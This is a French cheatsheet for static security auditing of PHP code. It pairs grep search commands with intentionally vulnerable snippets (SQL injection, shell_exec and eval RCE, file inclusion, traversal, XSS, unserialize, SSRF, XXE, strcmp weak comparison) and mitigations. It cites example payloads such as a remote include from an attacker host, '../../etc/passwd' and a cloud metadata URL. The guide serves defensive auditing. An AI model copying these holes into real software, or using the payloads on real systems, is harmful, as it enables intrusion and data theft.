**Objectif :** Identifier rapidement les points potentiellement vulnérables dans une base de code PHP lors d'un audit de sécurité statique (SAST - Static Application Security Testing). Cette cheatsheet se concentre sur des fonctions et des patterns connus pour être souvent sources de vulnérabilités.
**Note :** L'audit statique doit être complété par un audit dynamique et une compréhension du contexte d'exécution. La présence d'une fonction listée ici n'implique pas *automatiquement* une vulnérabilité si les entrées sont correctement validées et échappées.
---
### ⚙️ **Outils d'Analyse Statique (SAST) pour PHP**
Avant de chercher manuellement, envisagez d'utiliser des outils SAST qui automatisent une partie de la détection :
* **PHPStan** ([https://github.com/phpstan/phpstan](https://github.com/phpstan/phpstan))
* **Psalm** ([https://github.com/vimeo/psalm](https://github.com/vimeo/psalm))
* **SonarQube (avec SonarPHP)** ([https://www.sonarsource.com/products/sonarqube/](https://www.sonarsource.com/products/sonarqube/))
* **Semgrep** ([https://github.com/semgrep/semgrep](https://github.com/semgrep/semgrep)) - Avec des règles spécifiques PHP.
* **PHP CS Fixer / PHP CodeSniffer** : Plus pour le style, mais peuvent aider à repérer des pratiques non standard.
---
### 🎯 **Recherche Manuelle par Type de Vulnérabilité (`grep`)**
*(Exécutez ces commandes à la racine du code source)*
#### 💉 **Injection SQL (SQLi)**
* **Recherche :** Fonctions exécutant des requêtes sans préparation adéquate.
```bash
# Fonctions de base de données classiques (ex: mysqli, pdo)
grep -RinE --include=*.php '(mysqli_query|query\(|->query\(|execute\(|->execute\()' .
# Fonctions PDO spécifiques (prepare est bien, mais vérifier comment les variables sont liées)
grep -RinE --include=*.php 'prepare\(|->prepare\(' .
# Recherche de concaténation directe de variables dans les requêtes
grep -RinE --include=*.php 'SELECT .*[\$\_](GET|POST|REQUEST|COOKIE)|INSERT .*[\$\_](GET|POST|REQUEST|COOKIE)|UPDATE .*[\$\_](GET|POST|REQUEST|COOKIE)|DELETE .*[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable :**
```php
<?php
$id = $_GET['id'];
$result = $mysqli->query("SELECT * FROM products WHERE id = " . $id); // Injection possible ici
?>
```
* **Mitigation :** Utiliser systématiquement les requêtes préparées (Prepared Statements) avec `mysqli_prepare` / `bind_param` / `execute` ou PDO (`prepare`, `bindParam`/`bindValue`, `execute`).
#### 🛰️ **Exécution de Commandes (RCE - Remote Code Execution)**
* **Recherche :** Fonctions exécutant des commandes système ou interprétant du code.
```bash
grep -RinE --include=*.php '(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|`.*`|eval|assert|create_function|include|require|include_once|require_once)' .
# Spécifiquement pour les backticks (opérateur d'exécution)
grep -Rin --include=*.php '`' .
```
* **Exemple Vulnérable (`shell_exec`) :**
```php
<?php
$cmd = $_GET['cmd'];
echo shell_exec('ping -c 3 ' . $cmd); // RCE via injection de commande (ex: ; ls -la)
?>
```
* **Exemple Vulnérable (`eval`) :**
```php
<?php
$code = $_GET['code'];
eval("\$result = " . $code . ";"); // RCE directe si $code contient du PHP malveillant
?>
```
* **Mitigation :** Éviter autant que possible ces fonctions avec des entrées utilisateur. Si nécessaire, utiliser `escapeshellarg()` ou `escapeshellcmd()` (avec prudence, ne protège pas de tout) et valider très strictement les entrées (liste blanche). Éviter `eval`, `assert`, `create_function` avec des données externes.
#### 🪂 **Inclusion de Fichiers (LFI/RFI - Local/Remote File Inclusion)**
* **Recherche :** Fonctions incluant des fichiers basés sur une entrée.
```bash
grep -RinE --include=*.php '(include|require|include_once|require_once)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
# Fonctions de lecture de fichiers pouvant mener à LFI ou Directory Traversal
grep -RinE --include=*.php '(file_get_contents|fopen|file|readfile)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable (LFI) :**
```php
<?php
$page = $_GET['page'];
include($page . '.php'); // LFI possible avec ../../.. ou wrappers php://
?>
```
* **Exemple Vulnérable (RFI - si `allow_url_include=On`) :**
```php
<?php
$module = $_GET['module'];
include($module); // RFI possible si $module = [http://attaquant.com/shell.txt](https://www.google.com/search?q=http://attaquant.com/shell.txt)
?>
```
* **Mitigation :** Ne **jamais** inclure de fichiers basés directement sur une entrée utilisateur. Utiliser une liste blanche (whitelist) de fichiers autorisés. Désactiver `allow_url_fopen` et `allow_url_include` dans `php.ini` si possible. Utiliser `basename()` ou valider strictement le chemin.
#### 🚶 **Directory Traversal**
* **Recherche :** Utilisation de fonctions de fichiers avec des chemins potentiellement contrôlés par l'utilisateur.
```bash
grep -RinE --include=*.php '(fopen|file_get_contents|file_put_contents|readfile|unlink|copy|rename|mkdir|rmdir|scandir|glob)\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable :**
```php
<?php
$filename = $_GET['file'];
$content = file_get_contents('/var/www/app/user_files/' . $filename); // Traversal possible avec $filename = ../../etc/passwd
?>
```
* **Mitigation :** Valider et nettoyer les chemins (`basename()`), vérifier que le chemin résolu (`realpath()`) reste dans le répertoire attendu (chroot virtuel).
#### 🧁 **Cross-Site Scripting (XSS)**
* **Recherche :** Affichage direct de données utilisateur sans échappement HTML.
```bash
grep -RinE --include=*.php '(echo|print|<\?=)[\s\(]*[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable :**
```php
<?php
$name = $_GET['name'];
echo "<h1>Bonjour, " . $name . "</h1>"; // XSS possible si name contient <script>alert(1)</script>
?>
```
* **Mitigation :** Utiliser `htmlspecialchars($variable, ENT_QUOTES, 'UTF-8')` ou des moteurs de template sécurisés (Twig, Blade) qui échappent par défaut. Définir l'en-tête `Content-Security-Policy`.
#### 📤 **File Upload Vulnerabilities**
* **Recherche :** Traitement des fichiers uploadés (`$_FILES`).
```bash
grep -Rin --include=*.php '\$_FILES\[' .
grep -RinE --include=*.php '(move_uploaded_file|copy)\s*\(?.*[\$\_]FILES' .
```
* **Points à vérifier :**
* Validation du type de fichier (MIME type `$_FILES['userfile']['type']` **n'est pas fiable**, vérifier l'extension et idéalement le contenu/magic bytes).
* Validation de la taille (`$_FILES['userfile']['size']`).
* Contrôle du nom de fichier (éviter les `..`, les extensions multiples `shell.php.jpg`, générer un nom aléatoire).
* Stockage des fichiers uploadés en dehors du webroot ou avec des permissions très restrictives (pas d'exécution).
* Utilisation de `move_uploaded_file()` plutôt que `copy()`.
* **Mitigation :** Valider type, taille, nom. Renommer les fichiers. Stocker hors webroot ou configurer le serveur web pour ne pas exécuter de code dans le dossier d'upload.
#### 🔓 **Insecure Deserialization**
* **Recherche :** Utilisation de la fonction `unserialize()` sur des données contrôlées par l'utilisateur.
```bash
grep -RinE --include=*.php 'unserialize\s*\(?[\s"\']?[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable :**
```php
<?php
$user_data = unserialize($_COOKIE['userdata']); // Dangereux si le cookie peut être manipulé
?>
```
* **Mitigation :** Ne **jamais** utiliser `unserialize()` sur des données non fiables. Préférer JSON (`json_decode`/`json_encode`) ou d'autres formats sérialisés sûrs. Si `unserialize` est inévitable, utiliser l'option `allowed_classes` (PHP 7+).
#### 🔗 **Server-Side Request Forgery (SSRF)**
* **Recherche :** Fonctions effectuant des requêtes HTTP/fichier basées sur une entrée utilisateur.
```bash
grep -RinE --include=*.php '(curl_exec|file_get_contents|fsockopen|fopen)\s*\(?.*[\$\_](GET|POST|REQUEST|COOKIE)' .
```
* **Exemple Vulnérable :**
```php
<?php
$url = $_GET['url'];
$content = file_get_contents($url); // SSRF si $url = [http://169.254.169.254/latest/meta-data/](https://www.google.com/search?q=http://169.254.169.254/latest/meta-data/) ou file:///etc/passwd
?>
```
* **Mitigation :** Valider strictement les URL (liste blanche de domaines/IPs autorisés). Ne pas autoriser les schémas `file://`, `gopher://`, etc. Configurer des pare-feux pour limiter les requêtes sortantes du serveur.
#### 🏛️ **XML External Entity (XXE)**
* **Recherche :** Traitement de fichiers XML avec des parseurs potentiellement mal configurés.
```bash
grep -RinE --include=*.php '(simplexml_load_string|simplexml_load_file|DOMDocument->load|DOMDocument->loadXML|xml_parse)' .
```
* **Exemple Vulnérable (avant PHP 8) :**
```php
<?php
libxml_disable_entity_loader(false); // Active le chargement des entités externes (DANGEREUX)
$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // XXE possible
?>
```
* **Mitigation :** Désactiver le chargement des entités externes : `libxml_disable_entity_loader(true);` (par défaut depuis PHP 8.0). Utiliser `LIBXML_NONET` lors du parsing si possible.
#### ⚖️ **Comparaisons Faibles (Weak Type Comparison)**
* **Recherche :** Utilisation de `==` au lieu de `===` pour des comparaisons, surtout avec des fonctions comme `strcmp`, `strpos`, ou lors de vérifications d'authentification/autorisation.
```bash
grep -RinE --include=*.php '\s==\s' . # Très générique, affinage nécessaire
grep -RinE --include=*.php '(strcmp|strpos)\s*\(.*?\)\s*==\s*0' . # strcmp/strpos peuvent retourner 0 ou false
```
* **Exemple Vulnérable (`strcmp`) :**
```php
<?php
// Si $password est un tableau envoyé par l'attaquant (ex: password[]=), strcmp retourne NULL.
// NULL == 0 est TRUE en comparaison faible !
if (strcmp($_POST['password'], $stored_password) == 0) {
echo "Login réussi!";
}
?>
```
* **Mitigation :** Utiliser la comparaison stricte `===` qui vérifie aussi le type. Pour `strcmp`, vérifier explicitement `strcmp(...) === 0`. Pour `strpos`, vérifier `strpos(...) !== false`.